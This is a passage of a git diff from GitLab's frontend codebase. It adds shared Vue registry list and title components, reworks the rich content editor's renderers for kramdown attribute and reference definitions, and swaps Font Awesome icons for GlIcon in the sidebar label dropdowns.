diff --git a/app/assets/javascripts/registry/shared/components/details_row.vue b/app/assets/javascripts/vue_shared/components/registry/details_row.vue
index 2e245fadead..2e245fadead 100644
--- a/app/assets/javascripts/registry/shared/components/details_row.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/details_row.vue
diff --git a/app/assets/javascripts/vue_shared/components/registry/history_item.vue b/app/assets/javascripts/vue_shared/components/registry/history_item.vue
new file mode 100644
index 00000000000..a60b630b207
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/registry/history_item.vue
@@ -0,0 +1,36 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
+
+export default {
+ name: 'HistoryItem',
+ components: {
+ GlIcon,
+ TimelineEntryItem,
+ },
+ props: {
+ icon: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <timeline-entry-item class="system-note note-wrapper gl-mb-6!">
+ <div class="timeline-icon">
+ <gl-icon :name="icon" />
+ </div>
+ <div class="timeline-content">
+ <div class="note-header">
+ <span>
+ <slot></slot>
+ </span>
+ </div>
+ <div class="note-body">
+ <slot name="body"></slot>
+ </div>
+ </div>
+ </timeline-entry-item>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/registry/list_item.vue b/app/assets/javascripts/vue_shared/components/registry/list_item.vue
new file mode 100644
index 00000000000..50a19dc2156
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/registry/list_item.vue
@@ -0,0 +1,135 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+
+export default {
+ name: 'ListItem',
+ components: { GlButton },
+ props: {
+ first: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ disabled: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ selected: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ },
+ data() {
+ return {
+ isDetailsShown: false,
+ detailsSlots: [],
+ };
+ },
+ computed: {
+ optionalClasses() {
+ return {
+ 'gl-border-t-transparent': !this.first && !this.selected,
+ 'gl-border-t-gray-100': this.first && !this.selected,
+ 'disabled-content': this.disabled,
+ 'gl-border-b-gray-100': !this.selected,
+ 'gl-bg-blue-50 gl-border-blue-200': this.selected,
+ };
+ },
+ },
+ mounted() {
+ this.detailsSlots = Object.keys(this.$slots).filter(k => k.startsWith('details_'));
+ },
+ methods: {
+ toggleDetails() {
+ this.isDetailsShown = !this.isDetailsShown;
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid gl-border-t-1 gl-border-b-1"
+ :class="optionalClasses"
+ >
+ <div class="gl-display-flex gl-align-items-center gl-py-5">
+ <div
+ v-if="$slots['left-action']"
+ class="gl-w-7 gl-display-none gl-display-sm-flex gl-justify-content-start gl-pl-2"
+ >
+ <slot name="left-action"></slot>
+ </div>
+ <div
+ class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-fill-1"
+ >
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-justify-content-space-between gl-xs-mb-3 gl-min-w-0 gl-flex-grow-1"
+ >
+ <div
+ v-if="$slots['left-primary']"
+ class="gl-display-flex gl-align-items-center gl-text-body gl-font-weight-bold gl-min-h-6 gl-min-w-0"
+ >
+ <slot name="left-primary"></slot>
+ <gl-button
+ v-if="detailsSlots.length > 0"
+ :selected="isDetailsShown"
+ icon="ellipsis_h"
+ size="small"
+ class="gl-ml-2 gl-display-none gl-display-sm-block"
+ @click="toggleDetails"
+ />
+ </div>
+ <div
+ v-if="$slots['left-secondary']"
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-mt-1 gl-min-h-6 gl-min-w-0 gl-flex-fill-1"
+ >
+ <slot name="left-secondary"></slot>
+ </div>
+ </div>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-sm-align-items-flex-end gl-justify-content-space-between gl-text-gray-500 gl-flex-shrink-0"
+ >
+ <div
+ v-if="$slots['right-primary']"
+ class="gl-display-flex gl-align-items-center gl-sm-text-body gl-sm-font-weight-bold gl-min-h-6"
+ >
+ <slot name="right-primary"></slot>
+ </div>
+ <div
+ v-if="$slots['right-secondary']"
+ class="gl-display-flex gl-align-items-center gl-mt-1 gl-min-h-6"
+ >
+ <slot name="right-secondary"></slot>
+ </div>
+ </div>
+ </div>
+ <div
+ v-if="$slots['right-action']"
+ class="gl-w-9 gl-display-none gl-display-sm-flex gl-justify-content-end gl-pr-1"
+ >
+ <slot name="right-action"></slot>
+ </div>
+ </div>
+ <div class="gl-display-flex">
+ <div class="gl-w-7"></div>
+ <div
+ v-if="isDetailsShown"
+ class="gl-display-flex gl-flex-direction-column gl-flex-fill-1 gl-bg-gray-10 gl-rounded-base gl-inset-border-1-gray-100 gl-mb-3"
+ >
+ <div
+ v-for="(row, detailIndex) in detailsSlots"
+ :key="detailIndex"
+ class="gl-px-5 gl-py-2"
+ :class="{
+ 'gl-border-gray-100 gl-border-t-solid gl-border-t-1': detailIndex !== 0,
+ }"
+ >
+ <slot :name="row"></slot>
+ </div>
+ </div>
+ <div class="gl-w-9"></div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue b/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue
new file mode 100644
index 00000000000..8ef623b68eb
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue
@@ -0,0 +1,63 @@
+<script>
+import { GlIcon, GlLink } from '@gitlab/ui';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+export default {
+ name: 'MetadataItem',
+ components: {
+ GlIcon,
+ GlLink,
+ TooltipOnTruncate,
+ },
+ props: {
+ icon: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ text: {
+ type: String,
+ required: true,
+ },
+ link: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ size: {
+ type: String,
+ required: false,
+ default: 's',
+ validator(value) {
+ return !value || ['xs', 's', 'm', 'l', 'xl'].includes(value);
+ },
+ },
+ },
+ computed: {
+ sizeClass() {
+ return `mw-${this.size}`;
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-inline-flex gl-align-items-center">
+ <gl-icon v-if="icon" :name="icon" class="gl-text-gray-500 gl-mr-3" />
+ <tooltip-on-truncate v-if="link" :title="text" class="gl-text-truncate" :class="sizeClass">
+ <gl-link :href="link" class="gl-font-weight-bold">
+ {{ text }}
+ </gl-link>
+ </tooltip-on-truncate>
+ <div
+ v-else
+ data-testid="metadata-item-text"
+ class="gl-font-weight-bold gl-display-inline-flex"
+ :class="sizeClass"
+ >
+ <tooltip-on-truncate :title="text" class="gl-text-truncate">
+ {{ text }}
+ </tooltip-on-truncate>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/registry/title_area.vue b/app/assets/javascripts/vue_shared/components/registry/title_area.vue
new file mode 100644
index 00000000000..cc33b8f85cd
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/registry/title_area.vue
@@ -0,0 +1,66 @@
+<script>
+import { GlAvatar } from '@gitlab/ui';
+
+export default {
+ name: 'TitleArea',
+ components: {
+ GlAvatar,
+ },
+ props: {
+ avatar: {
+ type: String,
+ default: null,
+ required: false,
+ },
+ title: {
+ type: String,
+ default: null,
+ required: false,
+ },
+ },
+ data() {
+ return {
+ metadataSlots: [],
+ };
+ },
+ mounted() {
+ this.metadataSlots = Object.keys(this.$slots).filter(k => k.startsWith('metadata_'));
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-justify-content-space-between gl-py-3">
+ <div class="gl-flex-direction-column">
+ <div class="gl-display-flex">
+ <gl-avatar v-if="avatar" :src="avatar" shape="rect" class="gl-align-self-center gl-mr-4" />
+
+ <div class="gl-display-flex gl-flex-direction-column">
+ <h1 class="gl-font-size-h1 gl-mt-3 gl-mb-2" data-testid="title">
+ <slot name="title">{{ title }}</slot>
+ </h1>
+
+ <div
+ v-if="$slots['sub-header']"
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-mt-1"
+ >
+ <slot name="sub-header"></slot>
+ </div>
+ </div>
+ </div>
+
+ <div class="gl-display-flex gl-flex-wrap gl-align-items-center gl-mt-3">
+ <div
+ v-for="(row, metadataIndex) in metadataSlots"
+ :key="metadataIndex"
+ class="gl-display-flex gl-align-items-center gl-mr-5"
+ >
+ <slot :name="row"></slot>
+ </div>
+ </div>
+ </div>
+ <div v-if="$slots['right-actions']" class="gl-mt-3">
+ <slot name="right-actions"></slot>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/resizable_chart/constants.js b/app/assets/javascripts/vue_shared/components/resizable_chart/constants.js
index edc5ffb7b77..68d86777995 100644
--- a/app/assets/javascripts/vue_shared/components/resizable_chart/constants.js
+++ b/app/assets/javascripts/vue_shared/components/resizable_chart/constants.js
@@ -1,6 +1,6 @@
export const DEFAULT_RX = 0.4;
-export const DEFAULT_BAR_WIDTH = 6;
-export const DEFAULT_LABEL_WIDTH = 4;
-export const DEFAULT_LABEL_HEIGHT = 5;
+export const DEFAULT_BAR_WIDTH = 4;
+export const DEFAULT_LABEL_WIDTH = 3;
+export const DEFAULT_LABEL_HEIGHT = 3;
export const BAR_HEIGHTS = [5, 7, 9, 14, 21, 35, 50, 80];
export const GRID_YS = [30, 60, 90];
diff --git a/app/assets/javascripts/vue_shared/components/resizable_chart/skeleton_loader.vue b/app/assets/javascripts/vue_shared/components/resizable_chart/skeleton_loader.vue
index 306fa61780f..a9f35a73db0 100644
--- a/app/assets/javascripts/vue_shared/components/resizable_chart/skeleton_loader.vue
+++ b/app/assets/javascripts/vue_shared/components/resizable_chart/skeleton_loader.vue
@@ -61,35 +61,37 @@ export default {
};
</script>
<template>
- <gl-skeleton-loader :unique-key="uniqueKey">
- <rect
- v-for="(y, index) in $options.GRID_YS"
- :key="`grid-${index}`"
- data-testid="skeleton-chart-grid"
- x="0"
- :y="`${y}%`"
- width="100%"
- height="1px"
- />
- <rect
- v-for="(height, index) in $options.BAR_HEIGHTS"
- :key="`bar-${index}`"
- data-testid="skeleton-chart-bar"
- :x="`${getBarXPosition(index)}%`"
- :y="`${90 - height}%`"
- :width="`${barWidth}%`"
- :height="`${height}%`"
- :rx="`${rx}%`"
- />
- <rect
- v-for="(height, index) in $options.BAR_HEIGHTS"
- :key="`label-${index}`"
- data-testid="skeleton-chart-label"
- :x="`${labelCentering + getBarXPosition(index)}%`"
- :y="`${100 - labelHeight}%`"
- :width="`${labelWidth}%`"
- :height="`${labelHeight}%`"
- :rx="`${rx}%`"
- />
- </gl-skeleton-loader>
+ <div class="gl-px-8">
+ <gl-skeleton-loader :unique-key="uniqueKey" class="gl-p-8">
+ <rect
+ v-for="(y, index) in $options.GRID_YS"
+ :key="`grid-${index}`"
+ data-testid="skeleton-chart-grid"
+ x="0"
+ :y="`${y}%`"
+ width="100%"
+ height="1px"
+ />
+ <rect
+ v-for="(height, index) in $options.BAR_HEIGHTS"
+ :key="`bar-${index}`"
+ data-testid="skeleton-chart-bar"
+ :x="`${getBarXPosition(index)}%`"
+ :y="`${90 - height}%`"
+ :width="`${barWidth}%`"
+ :height="`${height}%`"
+ :rx="`${rx}%`"
+ />
+ <rect
+ v-for="(height, index) in $options.BAR_HEIGHTS"
+ :key="`label-${index}`"
+ data-testid="skeleton-chart-label"
+ :x="`${labelCentering + getBarXPosition(index)}%`"
+ :y="`${100 - labelHeight}%`"
+ :width="`${labelWidth}%`"
+ :height="`${labelHeight}%`"
+ :rx="`${rx}%`"
+ />
+ </gl-skeleton-loader>
+ </div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js
index a9c5d442f62..108c60c3edb 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js
@@ -1,17 +1,19 @@
import { union, mapValues } from 'lodash';
import renderBlockHtml from './renderers/render_html_block';
-import renderKramdownList from './renderers/render_kramdown_list';
-import renderKramdownText from './renderers/render_kramdown_text';
+import renderHeading from './renderers/render_heading';
import renderIdentifierInstanceText from './renderers/render_identifier_instance_text';
import renderIdentifierParagraph from './renderers/render_identifier_paragraph';
import renderFontAwesomeHtmlInline from './renderers/render_font_awesome_html_inline';
import renderSoftbreak from './renderers/render_softbreak';
+import renderAttributeDefinition from './renderers/render_attribute_definition';
+import renderListItem from './renderers/render_list_item';
const htmlInlineRenderers = [renderFontAwesomeHtmlInline];
const htmlBlockRenderers = [renderBlockHtml];
-const listRenderers = [renderKramdownList];
-const paragraphRenderers = [renderIdentifierParagraph];
-const textRenderers = [renderKramdownText, renderIdentifierInstanceText];
+const headingRenderers = [renderHeading];
+const paragraphRenderers = [renderIdentifierParagraph, renderBlockHtml];
+const textRenderers = [renderIdentifierInstanceText, renderAttributeDefinition];
+const listItemRenderers = [renderListItem];
const softbreakRenderers = [renderSoftbreak];
const executeRenderer = (renderers, node, context) => {
@@ -25,7 +27,8 @@ const buildCustomHTMLRenderer = customRenderers => {
...customRenderers,
htmlBlock: union(htmlBlockRenderers, customRenderers?.htmlBlock),
htmlInline: union(htmlInlineRenderers, customRenderers?.htmlInline),
- list: union(listRenderers, customRenderers?.list),
+ heading: union(headingRenderers, customRenderers?.heading),
+ item: union(listItemRenderers, customRenderers?.listItem),
paragraph: union(paragraphRenderers, customRenderers?.paragraph),
text: union(textRenderers, customRenderers?.text),
softbreak: union(softbreakRenderers, customRenderers?.softbreak),
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js
index 868ede9426e..2bce691e793 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js
@@ -28,6 +28,8 @@ const buildHTMLToMarkdownRender = (baseRenderer, formattingPreferences = {}) =>
const orderedListItemNode = 'OL LI';
const emphasisNode = 'EM, I';
const strongNode = 'STRONG, B';
+ const headingNode = 'H1, H2, H3, H4, H5, H6';
+ const preCodeNode = 'PRE CODE';
return {
TEXT_NODE(node) {
@@ -63,8 +65,10 @@ const buildHTMLToMarkdownRender = (baseRenderer, formattingPreferences = {}) =>
},
[unorderedListItemNode](node, subContent) {
const baseResult = baseRenderer.convert(node, subContent);
+ const formatted = baseResult.replace(/^(\s*)([*|-])/, `$1${unorderedListBulletChar}`);
+ const { attributeDefinition } = node.dataset;
- return baseResult.replace(/^(\s*)([*|-])/, `$1${unorderedListBulletChar}`);
+ return attributeDefinition ? `${formatted.trimRight()}\n${attributeDefinition}\n` : formatted;
},
[orderedListItemNode](node, subContent) {
const baseResult = baseRenderer.convert(node, subContent);
@@ -82,6 +86,19 @@ const buildHTMLToMarkdownRender = (baseRenderer, formattingPreferences = {}) =>
return result.replace(/^[*_]{2}/, strongSyntax).replace(/[*_]{2}$/, strongSyntax);
},
+ [headingNode](node, subContent) {
+ const result = baseRenderer.convert(node, subContent);
+ const { attributeDefinition } = node.dataset;
+
+ return attributeDefinition ? `${result.trimRight()}\n${attributeDefinition}\n\n` : result;
+ },
+ [preCodeNode](node, subContent) {
+ const isReferenceDefinition = Boolean(node.dataset.sseReferenceDefinition);
+
+ return isReferenceDefinition
+ ? `\n\n${node.innerText}\n\n`
+ : baseRenderer.convert(node, subContent);
+ },
};
};
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js
new file mode 100644
index 00000000000..bd419447a48
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js
@@ -0,0 +1,7 @@
+import { isAttributeDefinition } from './render_utils';
+
+const canRender = ({ literal }) => isAttributeDefinition(literal);
+
+const render = () => ({ type: 'html', content: '<!-- sse-attribute-definition -->' });
+
+export default { canRender, render };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js
new file mode 100644
index 00000000000..71026fd0d65
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js
@@ -0,0 +1,6 @@
+import {
+ renderWithAttributeDefinitions as render,
+ willAlwaysRender as canRender,
+} from './render_utils';
+
+export default { render, canRender };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js
index 4ec45ecd3a7..3f9c6291d1b 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js
@@ -1,5 +1,3 @@
-import { renderUneditableBranch as render } from './render_utils';
-
const identifierRegex = /(^\[.+\]: .+)/;
const isIdentifier = text => {
@@ -10,4 +8,33 @@ const canRender = (node, context) => {
return isIdentifier(context.getChildrenText(node));
};
+const getReferenceDefinitions = (node, definitions = '') => {
+ if (!node) {
+ return definitions;
+ }
+
+ const definition = node.type === 'text' ? node.literal : '\n';
+
+ return getReferenceDefinitions(node.next, `${definitions}${definition}`);
+};
+
+const render = (node, { skipChildren }) => {
+ const content = getReferenceDefinitions(node.firstChild);
+
+ skipChildren();
+
+ return [
+ {
+ type: 'openTag',
+ tagName: 'pre',
+ classNames: ['code-block', 'language-markdown'],
+ attributes: { 'data-sse-reference-definition': true },
+ },
+ { type: 'openTag', tagName: 'code' },
+ { type: 'text', content },
+ { type: 'closeTag', tagName: 'code' },
+ { type: 'closeTag', tagName: 'pre' },
+ ];
+};
+
export default { canRender, render };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list.js
deleted file mode 100644
index 949ca0e5c2a..00000000000
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_list.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import { renderUneditableBranch as render } from './render_utils';
-
-const isKramdownTOC = ({ type, literal }) => type === 'text' && literal === 'TOC';
-
-const canRender = node => {
- let targetNode = node;
- while (targetNode !== null) {
- const { firstChild } = targetNode;
- const isLeaf = firstChild === null;
- if (isLeaf) {
- if (isKramdownTOC(targetNode)) {
- return true;
- }
-
- break;
- }
-
- targetNode = targetNode.firstChild;
- }
-
- return false;
-};
-
-export default { canRender, render };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text.js
deleted file mode 100644
index 0551894918c..00000000000
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_kramdown_text.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import { renderUneditableLeaf as render } from './render_utils';
-
-const kramdownRegex = /(^{:.+}$)/;
-
-const canRender = ({ literal }) => {
- return kramdownRegex.test(literal);
-};
-
-export default { canRender, render };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js
new file mode 100644
index 00000000000..71026fd0d65
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js
@@ -0,0 +1,6 @@
+import {
+ renderWithAttributeDefinitions as render,
+ willAlwaysRender as canRender,
+} from './render_utils';
+
+export default { render, canRender };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js
index cec6491557b..4cba2c70486 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js
@@ -8,3 +8,31 @@ export const renderUneditableLeaf = (_, { origin }) => buildUneditableBlockToken
export const renderUneditableBranch = (_, { entering, origin }) =>
entering ? buildUneditableOpenTokens(origin()) : buildUneditableCloseToken();
+
+const attributeDefinitionRegexp = /(^{:.+}$)/;
+
+export const isAttributeDefinition = text => attributeDefinitionRegexp.test(text);
+
+const findAttributeDefinition = node => {
+ const literal =
+ node?.next?.firstChild?.literal || node?.firstChild?.firstChild?.next?.next?.literal; // for headings // for list items;
+
+ return isAttributeDefinition(literal) ? literal : null;
+};
+
+export const renderWithAttributeDefinitions = (node, { origin }) => {
+ const attributes = findAttributeDefinition(node);
+ const token = origin();
+
+ if (token.type === 'openTag' && attributes) {
+ Object.assign(token, {
+ attributes: {
+ 'data-attribute-definition': attributes,
+ },
+ });
+ }
+
+ return token;
+};
+
+export const willAlwaysRender = () => true;
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/collapsed_calendar_icon.vue b/app/assets/javascripts/vue_shared/components/sidebar/collapsed_calendar_icon.vue
index cc24fedceed..0ed5a050fe4 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/collapsed_calendar_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/collapsed_calendar_icon.vue
@@ -1,4 +1,5 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
export default {
@@ -6,6 +7,9 @@ export default {
directives: {
tooltip,
},
+ components: {
+ GlIcon,
+ },
props: {
containerClass: {
type: String,
@@ -47,7 +51,7 @@ export default {
data-boundary="viewport"
@click="click"
>
- <i v-if="showIcon" class="fa fa-calendar" aria-hidden="true"> </i>
+ <gl-icon v-if="showIcon" name="calendar" />
<slot>
<span> {{ text }} </span>
</slot>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue
index 5eef439aa90..1ef3d5627ae 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue
@@ -14,7 +14,10 @@ import DropdownSearchInput from './dropdown_search_input.vue';
import DropdownFooter from './dropdown_footer.vue';
import DropdownCreateLabel from './dropdown_create_label.vue';
+import { DropdownVariant } from '../labels_select_vue/constants';
+
export default {
+ DropdownVariant,
components: {
DropdownTitle,
DropdownValue,
@@ -80,6 +83,11 @@ export default {
required: false,
default: false,
},
+ variant: {
+ type: String,
+ required: false,
+ default: DropdownVariant.Sidebar,
+ },
},
computed: {
hiddenInputName() {
@@ -123,7 +131,7 @@ export default {
<template>
<div class="block labels js-labels-block">
<dropdown-value-collapsed
- v-if="showCreate"
+ v-if="showCreate && variant === $options.DropdownVariant.Sidebar"
:labels="context.labels"
@onValueClick="handleCollapsedValueClick"
/>
@@ -150,18 +158,21 @@ export default {
:labels-path="labelsPath"
:namespace="namespace"
:labels="context.labels"
- :show-extra-options="!showCreate"
+ :show-extra-options="!showCreate || variant !== $options.DropdownVariant.Sidebar"
:enable-scoped-labels="enableScopedLabels"
/>
<div
- class="dropdown-menu dropdown-select dropdown-menu-paging
-dropdown-menu-labels dropdown-menu-selectable"
+ class="dropdown-menu dropdown-select dropdown-menu-paging dropdown-menu-labels dropdown-menu-selectable"
>
<div class="dropdown-page-one">
- <dropdown-header v-if="showCreate" />
+ <dropdown-header v-if="showCreate && variant === $options.DropdownVariant.Sidebar" />
<dropdown-search-input />
<div class="dropdown-content" data-qa-selector="labels_dropdown_content"></div>
- <div class="dropdown-loading"><gl-loading-icon /></div>
+ <div class="dropdown-loading">
+ <gl-loading-icon
+ class="gl-display-flex gl-justify-content-center gl-align-items-center gl-h-full"
+ />
+ </div>
<dropdown-footer
v-if="showCreate"
:labels-web-url="labelsWebUrl"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue
index 74c5e063c3d..434aabc3df9 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue
@@ -1,7 +1,14 @@
<script>
+import { GlButton, GlTooltipDirective } from '@gitlab/ui';
import { __ } from '~/locale';
export default {
+ components: {
+ GlButton,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
props: {
headerTitle: {
type: String,
@@ -10,29 +17,35 @@ export default {
},
},
created() {
- this.suggestedColors = gon.suggested_label_colors;
+ const rawLabelsColors = gon.suggested_label_colors;
+ this.suggestedColors = Object.keys(rawLabelsColors).map(colorCode => ({
+ colorCode,
+ title: rawLabelsColors[colorCode],
+ }));
},
};
</script>
<template>
<div class="dropdown-page-two dropdown-new-label">
- <div class="dropdown-title">
- <button
+ <div
+ class="dropdown-title gl-display-flex gl-justify-content-space-between gl-align-items-center"
+ >
+ <gl-button
:aria-label="__('Go back')"
- type="button"
- class="dropdown-title-button dropdown-menu-back"
- >
- <i aria-hidden="true" class="fa fa-arrow-left" data-hidden="true"> </i>
- </button>
+ category="tertiary"
+ class="dropdown-menu-back"
+ icon="arrow-left"
+ size="small"
+ />
{{ headerTitle }}
- <button
+ <gl-button
:aria-label="__('Close')"
- type="button"
- class="dropdown-title-button dropdown-menu-close"
- >
- <i aria-hidden="true" class="fa fa-times dropdown-menu-close-icon" data-hidden="true"> </i>
- </button>
+ category="tertiary"
+ class="dropdown-menu-close"
+ icon="close"
+ size="small"
+ />
</div>
<div class="dropdown-content">
<div class="dropdown-labels-error js-label-error"></div>
@@ -46,10 +59,12 @@ export default {
<a
v-for="(color, index) in suggestedColors"
:key="index"
- :data-color="color"
+ v-gl-tooltip
+ :data-color="color.colorCode"
:style="{
- backgroundColor: color,
+ backgroundColor: color.colorCode,
}"
+ :title="color.title"
href="#"
>
&nbsp;
@@ -65,12 +80,12 @@ export default {
/>
</div>
<div class="clearfix">
- <button type="button" class="btn btn-primary float-left js-new-label-btn disabled">
+ <gl-button category="secondary" class="float-left js-new-label-btn disabled">
{{ __('Create') }}
- </button>
- <button type="button" class="btn btn-default float-right js-cancel-label-btn">
+ </gl-button>
+ <gl-button category="secondary" class="float-right js-cancel-label-btn">
{{ __('Cancel') }}
- </button>
+ </gl-button>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
index eb837be165b..7b2802650a2 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
@@ -1,16 +1,22 @@
<script>
-export default {};
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlIcon,
+ },
+};
</script>
<template>
- <div class="dropdown-title">
- <span>{{ __('Assign labels') }}</span>
+ <div class="dropdown-title gl-display-flex gl-justify-content-center">
+ <span class="gl-ml-auto">{{ __('Assign labels') }}</span>
<button
:aria-label="__('Close')"
type="button"
- class="dropdown-title-button dropdown-menu-close"
+ class="dropdown-title-button dropdown-menu-close gl-ml-auto"
>
- <i aria-hidden="true" class="fa fa-times dropdown-menu-close-icon" data-hidden="true"> </i>
+ <gl-icon name="close" aria-hidden="true" class="dropdown-menu-close-icon" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue
index 05446903286..c2ebf78d541 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue
@@ -1,4 +1,5 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
import tooltip from '~/vue_shared/directives/tooltip';
@@ -6,6 +7,9 @@ export default {
directives: {
tooltip,
},
+ components: {
+ GlIcon,
+ },
props: {
labels: {
type: Array,
@@ -49,7 +53,7 @@ export default {
data-boundary="viewport"
@click="handleClick"
>
- <i aria-hidden="true" data-hidden="true" class="fa fa-tags"> </i>
+ <gl-icon name="labels" />
<span>{{ labels.length }}</span>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
index 248e9929833..34f5517ef99 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
@@ -166,7 +166,11 @@ export default {
!state.showDropdownButton &&
!state.showDropdownContents
) {
- this.handleDropdownClose(state.labels.filter(label => label.touched));
+ let filterFn = label => label.touched;
+ if (this.isDropdownVariantEmbedded) {
+ filterFn = label => label.set;
+ }
+ this.handleDropdownClose(state.labels.filter(filterFn));
}
},
/**
@@ -186,7 +190,7 @@ export default {
].some(
className =>
target?.classList.contains(className) ||
- target?.parentElement.classList.contains(className),
+ target?.parentElement?.classList.contains(className),
);
const hadExceptionParent = ['.js-btn-back', '.js-labels-list'].some(
